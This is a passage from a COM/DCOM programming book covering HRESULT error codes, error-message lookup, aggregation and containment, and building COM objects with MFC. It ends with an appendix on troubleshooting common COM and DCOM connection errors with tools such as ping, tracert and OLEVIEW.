interface. In this example, raw_LongTest() is an actual COM
method. The preceding "raw" was automatically appended to the
method by the compiler when it created the smart pointer. The
raw method will return a normal HRESULT code. If the HRESULT
is an error, a _com_error object is created, and thrown as an
exception. If you debug into a COM method of a client using the
#import directive, you'll see a very similar piece of code.
Summary
We've examined some template basics, and looked at how ATL
implements COM. Of course the purpose of ATL is to hide all
this implementation. Unfortunately, when you start debugging,
you'll quickly find yourself trying to understand the ATL code.
The final section of this chapter examined the native com-
piler directive #import. Import uses the type library to generate
two header files that include extensive definitions. One of the
most useful parts of the import directive is the use of smart
pointers. Using smart pointers, we can simplify much of our cli-
ent application.
262 Chapter 15 •
ATL and Compiler Support
S
I
X
T
E
E
N
16
Other Topics
COM is full of concepts and techniques that aren't normally seen
by programmers. This section attempts to deal with several of
these. Most of these items are unrelated, but may be useful when
you are working with COM applications.
Errors
We've already briefly discussed HRESULTS. Strangely enough,
HRESULTS aren't handles, and they aren't results. An HRESULT is
the 32-bit status code returned by almost all COM functions.
Normally in C and C++, we write functions to return values.
The atoi() function is typical; it returns an integer from a string.
int x = atoi( "100" );
As C++ programmers, we're in the habit of returning mean-
ingful values as function results. COM needs to do things a little
differently. A COM method always should return an HRESULT.
Here's how we would write the COM method for a hypothetical
interface called ITest:
264 Chapter 16 •
Other Topics
int x;
HRESULT hr = ITest->AtoI( &x, "100" );
In COM we can't guarantee that the method call will suc-
ceed. Returning an HRESULT allows the client to receive out-of-
band information. Typically, a client might receive notification
that it has lost communication with the server. If this were the
case, the integer result returned by ITest->AtoI() would be mean-
ingless.
The two most common HRESULTS are S_OK and E_FAILED.
S_OK is defined as the number zero. When you test an
HRESULT, you should use the predefined macros SUCCEEDED()
and FAILED(). This is necessary because there are numerous suc-
cess codes besides S_OK. Following is the standard method of
checking COM errors.
HRESULT hr;
hr = CoCreateInstance(,,,…);
if (SUCCEEDED(hr))
{
… // continue processing
}
The HRESULT is segmented into several bit fields, each of
which defines part of the status.
3 3 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1
1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0
+---+-+-+-----------------------+-------------------------------+
|Sev|C|R| Facility | Code |
+---+-+-+-----------------------+-------------------------------+
The meaning of these bits are as follows
Bits
Description
0-15
Information Code. Describes the specific error.
16-27
Facility Code. The subsystem that created the error.
28
Customer code flag. (not commonly used)
29
Reserved bit.
30-31
Severity Code.
Table 16.1
HRESULT bit fields
Errors
265
Additonal Information and Updates: http://www.iftech.com/dcom
Information Code
This part of the error status defines the specific message. The
code can be extracted with the macro HRESULT_CODE(), which
applies a bit-mask to the HRESULT, returning only the code field.
Facility Code
Windows divides its error messages into groups, or facilities. The
facility is the subsystem that created the error code. There are a
number of standard facilities defined for windows. Each has a
#define to identify it:
There are several other less common facilities defined in
WINERROR.H.
Facility
Description
Value
FACILITY_WIN32
General Windows error codes. Generally
these were returned by the Windows API.
7
FACILITY_RPC
Codes returned by the RPC services. These
generally indicate a communications prob-
lem.
1
FACILITY_DISPATCH Errors generated by Idispatch interfaces.
2
FACILITY_STORAGE
Errors from structured storage. Generally
the IStorage and IStream intefaces.
3
FACILITY_ITF
Interface dependent error codes. Each inter-
face may define it's own codes.
4
FACILITY_SSPI
Security Support Provider Interface (SSPI).
Generally related to authentication and
security.
9
FACILITY_WINDOWS Error codes from Microsoft defined inter-
faces.
8
FACILITY_NULL
General codes, such as S_OK.
0
Table 16.2
HRESULT Facility Codes
266 Chapter 16 •
Other Topics
Customer Code Flag and Reserved bits
You probably won't see much of either of these. The customer
code is designed to allow interfaces to use their own specific set
of errors. The reserved flag is just that, reserved for use by
Microsoft.
Severity Code
The most significant two bits of the HRESULT represent the
severity of the message. The severity code can be extracted with
the HRESULT_SEVERITY() macro. In general, whenever you see
an HRESULT with a negative decimal value, it is an error.
Looking Up HRESULTS
Much of the information about HRESULTs can be found in the
system header file WINERROR.H. It's worth your time to open
and browse this header, it is often a good source of information
on error codes. Most of the errors in this file are not COM errors.
In general, HRESULTS are best viewed in hexadecimal.
Many of the common error codes have the severity bit set, so
they appear as large negative numbers in decimal. For example,
the decimal number -2147221164 is much more readable as
0x80040154.
Because the HRESULT is a combination of several fields,
you won't always be able to find your specific error code in
WINERROR.H.
One
of
the
more
common
errors,
RPC_S_SERVER_UNAVAILABLE, isn't in WINERROR.H. If you
look it up, you'll find it mapped to the decimal number 1722.
Severity
Description
0
Success.
1
Information. Just an informational message,
2
Warning. An error that requires attention.
3
Error. An error occurred.
Table 16.3
HRESULT Severity Codes
Displaying Error Messages
267
Additonal Information and Updates: http://www.iftech.com/dcom
This number is only the information code. The code returned by
CoCreateInstance is 0x800706ba. This number is composed of
several bit fields, it breaks down into the following:
0x10000000 + SEVERITY_WARNING
0x00070000 + FACILITY_RPC
0x000006ba + SERVER_UNAVAILABLE (1722L)
-------------------------------------
0x800706ba = RPC_S_SERVER_UNAVAILABLE
SCODES
The SCODE is a holdover from 16-bit windows. On Win32, the
SCODE is defined as a 32-bit DWORD value. They are the pro-
genitor of the HRESULT, so there are many similarities. Although
interchangeable on Win32, you should use HRESULTS. If you see
the term SCODE, you're probably working with code that was
ported from Windows 3.1.
Displaying Error Messages
We've shown how to interpret and find error codes using the
<WINERROR.h> header. Obviously, there are easier ways to get
this information. Perhaps the most accessible method is to run
"Error Lookup" application included in the Developers Studio.
(Under the TOOLS menu.) This is OK for debugging, but you
can also generate the text of the error messages interactively.
Using the _com_error class is by far the easiest way to dis-
play error messages. You can construct a _com_error object with
your HRESULT and call the ErrorMessage message to get a string.
#include <comdef.h>
HRESULT hr = S_OK;
_com_error e(hr);
cout << e.ErrorMessage() << endl;
268 Chapter 16 •
Other Topics
You need to include the file <comdef.h> to get the
_com_error definition.
Using FormatMessage
The FormatMessage function can be used to look up the
text
of
the
message.
Specifying
FORMAT_MESSAGE_FROM_SYSTEM tells the function to look
up the HRESULT in the system message tables.
char *pMsgBuf = NULL;
// build message string
::FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
hr,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &pMsgBuf,
0,NULL);
CString MyCopy = pMsgBuf;
// Free the buffer.
LocalFree(pMsgBuf) ;
In this example, we are passing in an HRESULT code (hr) as
the third argument. The error string will be written to a buffer
pointed to by pMsgBuf. Note that this buffer is allocated by For-
matMessage. This happened because we passed in the
FORMAT_MESSAGE_ALLOCATE_BUFFER flag. FormatMessage
will allocate the buffer, fill it with the message text, and return
the pointer. This buffer needs to be de-allocated using LocalFree.
LocalFree is considered to be obsolete, but I use it because the
documentation for FormatMessage says it's required. You should
also note that we're making a copy of the string before calling
LocalFree.
Aggregation and Containment
269
Additonal Information and Updates: http://www.iftech.com/dcom
Aggregation and Containment
COM offers two alternatives for the re-use of components. Con-
tainment means that an interface 'contains' another interface, and
uses it to accomplish its goals. Aggregation is the act of combin-
ing COM objects: one COM object directly exposes another COM
object without the client knowing it is dealing with two compo-
nents.
Containment in COM is very straightforward. The outer, or
'containing' object, creates an instance of the inner object. It cre-
ates the 2nd object, and passes calls along to that object.
HRESULT ObjectA::BeepMe( long lDuration )
{
IBeepObj *pInner;
HRESULT hr = CoCreateInstance( CLSID_ObjectB,
NULL,
CLSCTX_INPROC_SERVER,
IID_IBeepObj,
(void**)&pInner );
if (SUCCEEDED(hr))
{
hr = pInner->BeepMe(lDuration);
pInner->Release();
}
return hr;
}
This is a rather simple example. Normally, we would expect
the containing object to create the contained object and keep it
around for later use. You have a lot of flexibility in how you
implement containment.
As you can see, the calling client will have no idea it is deal-
ing with a second component. The first object completely man-
ages the lifetime of its contained object. This technique is very
simple and easily implemented. Aggregation is a special case of
containment.
270 Chapter 16 •
Other Topics
The problem with containment is that the outer object may
have to implement every single method of its contained object. If
there are a lot of methods, this can be aggravating. An aggre-
gated object does not require these 'shell' methods. Aggregation
actually exposes the complete inner object. The client will
believe that it is actually dealing with a single component. Hid-
ing the existence of the inner object introduces some very tricky
programming into the implementation of IUnknown. Aggreag-
table classes need a special version of QueryInterface, and spe-
cial reference counting. The inner object needs to be specifically
coded to handle aggregation.
Once again, ATL takes care of much of this complexity. By
default, all wizard-generated ATL classes are aggregatable. This is
controlled by the radio button on the ATL Object Wizard Proper-
ties dialog. By allowing aggregation, you give other program-
mers the flexibility to aggregate your class.
The class factory of the ATL object has a base class of CCo-
mAggObject, which handles the special IUnknown. This comes
from the ATL template macro DECLARE_AGGREGATABLE(). By
Figure 16–1
Configuring for aggregation
Building a COM Object with MFC
271
Additonal Information and Updates: http://www.iftech.com/dcom
selecting NO to aggregation, you'll get the DECLARE_NOT_
AGGREGATABLE macro.
Building a COM Object with MFC
You can build perfectly good COM objects using MFC. MFC uses
the base class CCmdTarget and a number of macros to imple-
ment COM. In this example we'll use MFC to create a COM ready
class. This example comes from the MfcClient example program.
CCmdTarget is the base class for MFC message maps. CCm-
dTarget is fully capable of supporting OLE. This means it sup-
ports COM. What you we are doing in this section, therefore, is
demonstrating how to use MFC in place of ATL. As discussed in
Chapter 15, ATL is the preferred choice for server implementa-
tion. However, there are occasions where the use of MFC can
have advantages. For example, if you have developed an MFC
client and you want to embed a callback object inside of it so
that the server can talk back to the client, then you suddenly
have a need to implement COM with MFC. This example pre-
sented here is based on the Callback client from the chapter on
Callbacks. MFC supports COM at a lower level, and we're going
to have to write some of the basic COM plumbing to get this
example to work.
We will assume you have already defined the COM interface
using MIDL. We will be implementing a COM interface named
ICallBack that was created in the Callback chapter. In order to
get the MIDL-generated definitions, we'll include two files from
the server. Note that the path to these include files is relative.
You will need to ensure that they point to the correct files where
you created the server project.
#include "../CallbackServer/CallbackServer _i.c"
#include "../CallbackServer /CallbackServer.h"
The CCmdTarget class has several interesting features. This
class has a Windows message loop. It also implements the stan-
dard methods of IUnknown. As you recall, these are QueryInter-
272 Chapter 16 •
Other Topics
face(), AddRef(), and Release(). Simply by inheriting from
CCmdTarget, we get a fully functional COM object.
We're also going to use an obscure feature of C++ language
- nested classes. If you're unfamiliar with nested classes, they are
straightforward. A nested class is a class declared within the
scope of another class. Whenever you reference a nested class,
you need to fully qualify the name with both classes.
You're going to see a lot of macros in the following code.
MFC/OLE uses macros quite extensively. This makes sense,
because the fundamentals of COM are very standardized. These
macros, however, can make MFC-style COM difficult to follow.
We will create our class object as follows:
class CMyCallback : public CCmdTarget
{
public:
CMyCallback(){};
DECLARE_INTERFACE_MAP()
public:
BEGIN_INTERFACE_PART( MyEvents, ICallBack )
STDMETHOD(Awake)(long lDuration);
END_INTERFACE_PART(MyEvents)
};
The BEGIN_INTERFACE_PART and END_INTERFACE_PART
create a nested class. This nested class appends an X to the
string "MyEvents", and declares a member variable named
m_xMyEvents of the same type. The macro expands out into
code that is similar to this:
// code generated by BEGIN_INTERFACE_PART macros
class XMyEvents: public ICallBack
{
public:
ULONG AddRef();
ULONG Release();
HRESULT QueryInterface(REFIID iid, LPVOID*
ppvObj);
HRESULT Awake(long lDuration);
} m_xMyEvents;
Building a COM Object with MFC
273
Additonal Information and Updates: http://www.iftech.com/dcom
friend class XMyEvents;
The class XMyEvents will have to implement the three meth-
ods of IUnknown. Because it is a custom interface, it also has a
custom method Awake(). This is the only application-specific
method exposed by this COM object. In order to reference
AddRef
in
the
nested
class,
you
would
use
m_xMyClass.AddRef(). If you didn't want to use the MFC macros,
you could just type in the required definitions.
Adding Code for the Nested Classes
We will put the implementation of this class in the source
file MfcClient.cpp. The standard AppWizard application code is
already created, so we're going to add a nested class defined in
the BEGIN_INTERFACE_PART macro. This is a fairly basic class,
other than the nested definition. Here is the top portion of this
file.
BEGIN_INTERFACE_MAP( CMyCallback, CCmdTarget )
INTERFACE_PART(CMyCallback, IID_ICallBack, MyEvents)
END_INTERFACE_MAP()
The macros above are implementing an MFC interface map.
This code ties in with the DECLARE_INTERFACE_MAP macro in
the header. An interface map is a MFC/OLE concept. It is quite
similar to a standard MFC message map, which reads and pro-
cesses Windows messages. The interface map takes care of a lot
of the plumbing of a COM object in MFC. This includes reference
counting with AddRef() and Release(), as well as handling COM
aggregation. This is all functionality that is handled automatically
by ATL. Since we aren't using ATL in this client, we have to
implement things in the MFC/OLE way.
Let's continue with the class implementation. Here's the
standardized part of the CPP implementation.
// Standard COM interfaces -- implemented
// in nested class XClientSink
STDMETHODIMP_(ULONG) CMyCallback::XMyEvents::AddRef()
{
274 Chapter 16 •
Other Topics
METHOD_PROLOGUE_EX(CMyCallback, MyEvents)
return (ULONG)pThis->ExternalAddRef();
}
STDMETHODIMP_(ULONG) CMyCallback::XMyEvents::Release()
{
METHOD_PROLOGUE_EX(CMyCallback, MyEvents)
return (ULONG)pThis->ExternalRelease();
}
STDMETHODIMP CMyCallback::XMyEvents::QueryInterface(
REFIID iid, LPVOID far* ppvObj)
{
METHOD_PROLOGUE_EX(CMyCallback, MyEvents)
return (HRESULT)pThis->ExternalQueryInterface(
&iid, ppvObj);
}
One unfamiliar part of this code may be the use of the
METHOD_PROLOGUE_EX macro. This macro automatically gets
the this pointer from the outside class. This is possible because
the nested class and its outside class are declared as 'friends'.
The METHOD_PROLOGUE_EX macro creates an outside pointer
named pThis. (The outside class is CMfcClient).
We use the pThis pointer to delegate the AddRef(),
Release(), and QueryInterface functions to the outside CMfcCli-
ent class, which knows how to handle them. These functions are
implemented in the base class CCmdTarget.
All of what has preceded this point is boilerplate COM code.
The only 'custom' aspect of this code is the names of the classes.
Finally, we're going to add our one-and-only custom method.
// Pop up a message box to announce callback
STDMETHODIMP CMyCallback::XMyEvents::Awake(long lVal)
{
CString msg;
msg.Format( "Message %d Received\n", lVal);
AfxMessageBox( msg );
return S_OK;
}
This code is self-explanatory. It displays a message box.
Building a COM Object with MFC
275
Additonal Information and Updates: http://www.iftech.com/dcom
Accessing the Nested Class
The syntax of accessing the nested class is somewhat
unusual. We'll assume you are accessing an instance of the CCm-
dTarget class called pMyClass. In this example, we'll extract an
ICallBack object from the class.
ICallBack *pC;
hr = pMyClass->m_xMyEvents.QueryInterface(
IID_ICallBack, (void**)&pC);
if (SUCCEEDED(hr))
{
pC->Awake( 1 );
pC->Release();
}
We have presented this example to show that there are
other ways besides ATL to implement COM. Working with MFC
COM is a whole different experience from using ATL. There are
numerous books on OLE and MFC that cover this area in minute
detail - now that you understand the fundamentals of COM,
these books become much easier to comprehend!
276 Chapter 16 •
Other Topics
A
P
P
E
N
D
I
X
Appendix
COM Error
Handling
Much of the frustration of using COM arises when things don’t
work. You create a COM server and its client, run the client but
the server never activates. Solving this type of problem can be a
time-consuming, maddening activity. This appendix is dedicated
to the discovery and elimination of bugs that prevent a COM cli-
ent from finding and starting a COM server, as well as other bugs
that gum up the works between a client and a server.
One of the hardest parts about working with COM is dealing
with errors. The debugging cycle with COM programs is more
complex then with standard C++ programs. There are a number
of reasons for this.
First, much COM error checking is done at run-time. Using
the wizards, it's relatively easy to build a client and server appli-
cation. Everything looks fine, until you run it. A COM program is
really a complex combination of different programs, the registry,
and operating system components. Any of these parts can go
wrong, and they do.
Secondly, when you get COM error messages, they often
aren't very specific about the problem. Perhaps the worst exam-
ple of this is the RPC_S_SERVER_UNAVAILABLE error that you
commonly get when working across networks. Even at their
best, HRESULT's offer pretty meager information about the prob-
278 Appendix •
COM Error Handling
lem. The context of an error can be extremely important in inter-
preting its cause.
Also, a huge part of the COM system is hidden from the pro-
grammer. The COM subsystem is responsible for server location
and activation. As an application developer, we hope and pray
that all the elements of this connection are correct.
Security just makes matters more difficult. COM is designed
to provide inter-process and inter-network connections. Unfortu-
nately, these avenues of communication are highly subject to
break-ins. This means that the security layers of the network and
operating system are going to insist that access is legitimate.
Another characteristic of security subsystems is that they don't
give very informative error diagnostics. When a connection fails,
the security subsystem probably won't tell you why - to do so
would be a security breach.
Finally, we've got to admit that the COM environment is
quirky and prone to bugs. Only a few people really understand
this complex system enough to diagnose tough problems. When
you're just starting with COM, you probably don't have access to
these people.
Fortunately, COM is getting easier. Microsoft is exerting con-
siderable effort in on making COM more usable. Each new
Developer Studio product has better integration. Also the advent
of tools like ATL have made a big difference. As COM grows in
prevalence (if not always popularity), there's more information
available.
Sources of Information
The primary source for information about COM is the MSDN
library. There is quite a lot of COM related material on these
CD's, but it is poorly organized and sometimes not clearly writ-
ten. Nevertheless, the MSDN Libraries are a must-have for serious
Visual C++ and COM developers. If you don't get the CD's, the
online resources at Microsoft’s web site are quite useful as a fall-
back.
Common Error Messages
279
Additonal Information and Updates: http://www.iftech.com/dcom
There are several good COM FAQ's available on the Inter-
net. Searching these archives can give help with commonly
encountered problems. One example is the "FAQ: COM Security
Frequently Asked Questions", Article ID: Q158508
There is also a DCOM list server resource, which archives
COM-related mailing lists. If you subscribe to the mailing lists,
you'll never have to worry about an empty inbox. The archive
holds a huge volume of material about COM. You'll find posts by
some of the experts in the COM world, including COM develop-
ers. You'll also find thousands of questions about topics that are
irrelevant to your application.
Here are two of these resources:
http://discuss.microsoft.com/archives/atl.html
http://discuss.microsoft.com/archives/dcom.html.
Reading the messages on the list server will also give you
some idea about the desperation of COM developers who are
debugging problems. You should spend some time searching
these archives before posting questions. Almost all the questions
have been asked, and answered several times before.
Common Error Messages
In the following section we're going to look at some of the more
common errors you will encounter when working with COM.
I've encountered most of these, usually when working with
remote servers.
These errors are arranged in alphabetical order.
Error
Decimal
Hex
CO_E_BAD_SERVER_NAME
-2147467244
80004014
CO_E_CANT_REMOTE
-2147467245
80004013
CO_E_NOTINITIALIZED
-2147221008
800401f0
CO_E_SERVER_EXEC_FAILURE
-2146959355
80080005
E_ACCESSDENIED
-2147024891
80070005
E_FAIL
-2147467259
80004005
280 Appendix •
COM Error Handling
CO_E_BAD_SERVER_NAME • A Remote activation was necessary
but the server name provided was invalid.
This is one of the few self-explanatory error messages. Note
that this doesn't mean you entered the wrong server name.
Unrecognized
servers
show
up
with
the
RPC_S_SERVER_UNAVAILABLE error.
• Check the server name for invalid characters.
• Check the parameters to the COSERVERINFO structure.
CO_E_CANT_REMOTE • A Remote activation was necessary but
was not allowed.
This is an uncommon problem. You are trying to improperly
start a server.
• Check the CLSCTX in CoCreateInstance. Be sure it
matches the type of server.
CO_E_NOTINITIALIZED • CoInitialize has not been called.
This is an easy problem. You probably just forgot to call
CoInitialize. It may also indicate that you have a threading prob-
lem. CoInitialize should be called on each thread.
• Call CoInitialize or CoInitializeEx before other COM calls.
• Be sure you call CoInitialize for each thread. COM inter-
actions must be marshaled between threads.
E_NOINTERFACE
-2147467262
80004002
E_OUTOFMEMORY
-2147483646
80000002
E_POINTER
-2147483643
80000005
ERROR_INVALID_PARAMETER
-2147024809
80070057
ERROR_SUCCESS
0
0
REGDB_E_CLASSNOTREG
-2147221164
80040154
RPC_S_SERVER_UNAVAILABLE
-2147023174
800706ba
Table A.1
Typical COM errors
Error
Decimal
Hex
Common Error Messages
281
Additonal Information and Updates: http://www.iftech.com/dcom
CO_E_SERVER_EXEC_FAILURE • Server execution failed.
Often occurs when calling CoCreateInstanceEx.
• Set the "Remote Connect" flag to "Y" on your server. The
registry
key
is
HKEY_LOCAL_MACHINE\Soft-
ware\Microsoft\Ole EnableRemoteConnect='Y'. You are
required to reboot after changing this setting.
E_ACCESSDENIED • General access denied error.
This is an error from the security subsystem. The server sys-
tem rejected a connection. Also known as “the error from hell”
because it is often very difficult to resolve. Access Denied prob-
lems can be very difficult to diagnose. This error is most likely
encountered when using DCOM for remote connections.
• The server must already be started on remote Windows
95/98 computers. You will sometimes get this instead of
RPC_S_SERVER_UNAVAILABLE when trying to start a
remote server located on a Windos 95/98 machine.
• Check COM security, file protection, and network access.
Check launch permissions, etc using DCOMCNFG. There
are many levels of security that can be incorrect. Be sure
the server identity is not set as "Launching User". See
Chapter 14.
• The server program may be registered, but the EXE may-
missing from or inproperly located on a remote computer.
Try re-installing and re-registering the server.
• Check File and Print Sharing for Microsoft Networks on
Windows 95. If you have Novell installed, check NetWare
File/Print Sharing.
• The server may not allow remote activation. If so, it can-
not start. Change the server.
• Check the parameters of CoInitializeSecurity. See Chapter
14.
• See if the remote server is starting. The server may be
starting, but may have a problem with call-level security.
• A server running as an NT service may be running under
"SYSTEM" or some other account that does not have per-
mission to access resources. This may mean the system
282 Appendix •
COM Error Handling
account is trying to access network resources, such as
network disks. Launch the service with a different user
name; use the Services applet in the Control Panel.
E_FAIL • Unspecified error.
This error doesn't tell you much. Often servers return this
code when they have a general processing failure or exception.
In our example code, we often return this code to indicate a
domain-specific problem.
• A COM method failed on the server. Check the server
implementation.
E_NOINTERFACE • No such interface supported.
You asked a server for an interface it doesn't support. This
means your CLSID is probably ok, but the IID is not. This call is
returned by QueryInterface (or through CoCreateInstance) when
it doesn't recognize an interface. It may also be a Proxy/Stub
problem.
• Check the IID or name of the interface you requested. Be
sure you typed in the correct CLSID. Be sure the coclass
supports the interface.
• The Proxy/Server DLL for the server is not properly regis-
tered. You may have forgotten to build and register the
"ps.mk" file.
• The interface was not properly registered in the registry.
Re-register your server application. Look for the interface
with OLEVIEW.
• You forgot the COM_INTERFACE_ENTRY in your ATL
server's header.
E_OUTOFMEMORY • Ran out of memory.
This message may be unrelated to the actual error. Uncom-
monly seen.
• DefaultAccessPermissions does not include the SID, or
security identifier, for the SYSTEM account. Use DCOMC-
Common Error Messages
283
Additonal Information and Updates: http://www.iftech.com/dcom
NFG or the OLE/COM Object Viewer to add "SYSTEM" to
the security id's in the default access permissions.
E_POINTER • Invalid pointer.
This error indicates a general problem with pointers. You
probably passed a NULL to a method that was expecting a valid
pointer.
• You passed a null or invalid pointer in a method call.
• You passed in invalid (IUnknown*) or (void**). Did you
forget an ampersand?
• Check the ref and unique attributes in the IDL code.
ERROR_INVALID_PARAMETER • The parameter is incorrect.
You have a problem in one of the parameters to your func-
tion call. This is commonly seen in functions such as CoCreateIn-
stance, CoCreateInstanceEx, CoInitializeSecurity, etc.
• Check for missing ampersand (&) on pointers.
• Check for missing ampersand on references, such as REF-
CLSID parameter.
• Check all parameters carefully.
ERROR_SUCCESS • The operation completed successfully.
The same message as S_OK and NO_ERROR. This message
is a wonderful oxymoron.
• You did everything right.
REGDB_E_CLASSNOTREG • Class not registered.
You'll get this error if you had problems registering the
server. It may also indicate in incorrect CLSID was requested.
• You called CoCreateInstance or CoGetClassObject on a
class that has no registered server. The CLSID was not rec-
ognized.
• Check the registry. See if the CLSID is registered. Look up
the CLSID under the HKEY_CLASSES_ROOT\CLSID key.
284 Appendix •
COM Error Handling
• Try re-registering the server. Type "servername -regserver"
at the DOS prompt.
• Check the GUID's.
• Use OLEVIEW to verify that the server is properly regis-
tered.
RPC_S_SERVER_UNAVAILABLE • RPC server is unavailable.
This problem is very common when working with remote
servers. This is a generic remote connection error. RPC is the
protocol used to implement DCOM. This can be a system set-up
problem or a security problem. You're about to learn a lot about
networking!
• Test the remote connection with PING.
• Test the remote connection with TRACERT
• You may have entered an invalid server name. This may
also be a name resolution problem. If so, try using the
TCP/IP address of the server instead of the name.
• The server computer may not be running, or it may be
disconnected from the network. It may also be unreach-
able because of the network configuration.
• The RPCSS service may not be started on the remote Win-
dows NT computer.
• Be sure DCOM is configured on the server. Run DCOMC-
NFG and check all the possibilities. Check EnableRemote-
Connect and EnableDCOM.
• If you are connecting to a remote windows 95/98 system,
the server must be running. DCOM will not automatically
start a server remotely on Windows 95/98.
• Be sure the COM server is registered on the remote com-
puter. You may get this instead of "Class Not Registered"
when connecting to remote machines.
• Check the TCP/IP installation on both the client and
server computer.
• See if you can run the client and server locally on both
computers. It is a lot easier to debug COM problems on a
local computer. If it doesn't work locally, it probably
won't work over the network.
DCOM Errors
285
Additonal Information and Updates: http://www.iftech.com/dcom
DCOM Errors
This section discusses some of the problems you will encounter
when working across a network. I've tried to outline some of the
approaches I've found useful in diagnosing and fixing problems.
My company deploys a product that uses DCOM to connect
a GUI and server. We have installed it at several thousand sites.
Our customers have a tremendous variety of networks and con-
figurations, and we spend a lot of time debugging remote con-
nections. The software itself if very stable, but network
configurations are not. I have learned a lot about DCOM trying
to debug difficult installations.
Unfortunately, when you use DCOM over a network, you're
probably going to encounter a lot of problems. The more net-
work configurations you work with, the more problems you'll
have.
Debugging network issues falls somewhere between a sci-
ence and voodoo. Having access to a competent network admin-
istrator is a blessing. In the real world however, network
administrators are often not available, so the programmer has to
resolve problems himself or herself.
Following is a series of steps that I use when working on
DCOM issues.
Get It Working Locally
The first step in the debugging process is to get the client and
server working locally. Install both components on the server
machine, and keep at it until you can successfully communicate.
If a component won't work locally, it won't work across a net-
work. You probably developed and tested the application on a
single computer, but be sure to test it on the server system also.
By getting the system to work locally, you've eliminated
most of the common programming errors. There are still a few
things, like security and remote activation, that you can only test
across the net. Specify your local computer in the COSERVER-
INFO structure, which will exercise some of the network-related
code.
286 Appendix •
COM Error Handling
Be Sure You Can Connect
Before you even try to install your program, debug the network
configuration using whatever tools you have available. Start by
checking the network neighborhood, and ensure that you can
browse the remote computer. This is not always possible, and a
failure to browse doesn't preclude DCOM working. In most
cases, however, browsing is good starting place for checking
connections. Check the connection in both directions.
Perhaps the most useful tool is PING. Ping sends a series of
network packets to the server and waits for a response. Most
installations support PING.
C:\>ping www.ustreas.gov
Pinging www.treas.gov [207.25.144.19] with 32 bytes of data:
Reply from 207.25.144.19: bytes=32 time=209ms TTL=247
Reply from 207.25.144.19: bytes=32 time=779ms TTL=247
Request timed out.
Reply from 207.25.144.19: bytes=32 time=852ms TTL=247
Ping statistics for 207.25.144.19:
Packets: Sent = 4, Received = 3, Lost = 1 (25% loss),
Approximate round trip times in milli-seconds:
Minimum = 209ms, Maximum = 852ms, Average = 460ms
PING does a number of interesting things for you. First, it
resolves the name of the remote computer. If you're using TCP/
IP, the name of the remote computer will be turned into a TCP/
IP address. In the above example, PING converts the name
"Raoul" into the TCP/IP address [169.254.91.12].
You should also try PING from both directions. If you are
using callbacks or connection points, you must have COM work-
ing in both directions. Callbacks and connection points can be
very difficult to debug.
Figure A–1
The ping command
DCOM Errors
287
Additonal Information and Updates: http://www.iftech.com/dcom
Try Using a TCP/IP Address
Name resolution can be a vexing problem in remote connec-
tions. Most people want to work with names like "\\RAOUL"
and "\\SERVER", rather then TCP/IP addresses. The process of
turning that readable name into a network address is called
"Name Resolution", and it can be very complicated on some sys-
tem configurations. A common work-around is to refer to the
server by its TCP/IP address. This will eliminate many name res-
olution problems - which are outside the scope of this discus-
sion. You can easily put a TCP/IP address into the
COSERVERINFO structure, instead of a standard computer name.
Use TRACERT
You can also glean interesting information from the TRACERT
utility. If you have any weird network configurations, they may
show up here. Here is typical output:
c:\>tracert www.ustreas.gov
Tracing route to www.treas.gov [207.25.144.19]
over a maximum of 30 hops:
1 181 ms 180 ms 169 ms ct1.intercenter.net [207.211.129.2]
2 188 ms 188 ms 170 ms ts-gw1.intercenter.net [207.211.129.1]
3 176 ms 187 ms 190 ms ilan-gw1.intercenter.net [207.211.128.1]
4 547 ms 505 ms 756 ms core01.rtr.INTERPATH.NET [199.72.1.101]
5 516 ms 323 ms 338 ms tysons-h2-0.rtr.INTERPATH.NET [199.72.250.26]
6 184 ms 708 ms 216 ms mae-east2.ANS.NET [192.41.177.141]
7 576 ms 981 ms 423 ms h12-1.t60-8.Reston.t3.ANS.NET [140.223.61.25]
8 419 ms 804 ms 570 ms f5-0.c60-14.Reston.t3.ANS.NET [140.223.60.210]
9 314 ms 641 ms 621 ms www.treas.gov [207.25.144.19]
Trace complete.
As you can see, the route your DCOM packets are taking to
their destination may be surprising! Beware of gateways, routers,
proxies, and firewalls - they can and will block your connection.
Figure A–2
The tracert command
288 Appendix •
COM Error Handling
Windows 95/98 Systems Will Not Launch Servers
Hopefully this will change in the future. If your server is on Win-
dows 95/98, you must manually start it before connecting from a
remote computer. There is actually a very good security reason
for this limitation. Because authentication on Windows 95/98 is
so limited, there is no way to ensure that unauthorized users
don't launch your server.
Windows NT systems have no such limitation. NT is fully
capable of validating remote users and launching servers safely.
Unfortunately, it is also capable of rejecting legitimate users
because of set-up problems.
See Chapter 14 for details.
Security is Tough
Assuming you've got the physical network connections working,
you're going to have to get through several layers of security.
This is especially an issue on Windows NT, which has an
extremely rich and complicated security layer.
A discussion of network security is well beyond the scope
of this book. We can, however, point out a few useful tools. See
also chapter 14 for a detailed discussion.
DCOMCNFG is your first line of defense when working with
COM security. DCOMCNFG allows easy access to most security
settings.
If you look at the "Common Error Messages" section above,
you'll see that many of the error messages are related to security.
This is not accidental. One of the tenets of good security is to
deny outsiders any information about your security set-up. This
makes error messages especially unhelpful. When the security
sub-system detects an error, it won't give you a useful error mes-
sage. By telling you what you did wrong, it is also giving you
information about its configuration - which is a security no-no.
If you're working with NT, it logs some security messages in
the event viewer. Be sure to check this information if you're get-
ting un-helpful security messages.
Using the OLE/COM Object Viewer
289
Additonal Information and Updates: http://www.iftech.com/dcom
Using the OLE/COM Object Viewer
This utility is also known as OLEVIEW. This utility is a useful tool
when diagnosing registration issues. This tool was originally
developed for viewing OLE interfaces, but it works for all COM
interfaces. This tool is essentially a view of the registry and type
libraries. The information seen in OLEVIEW all originates in the
registry. OLEVIEW does more than just view registry keys; it also
runs servers and interrogates type libraries for information.
Under newer versions of the Developer Studio, OLEVIEW
shows up under the TOOLS|OLE/COM Object Viewer menu.
Note that there are a number of different versions of OLEVIEW
in circulation, and you'll get different results from each of them.
The older versions show much more limited information.
When you start the viewer, you'll be presented with a num-
ber of folders. COM classes and interfaces may show up under
several of these folders. We're going to use OLEVIEW to find
our IDLTestServer server.
Select the "Object Classes" folder. Inside that folder select
the "Automation Objects" folder and expand it. Search down for
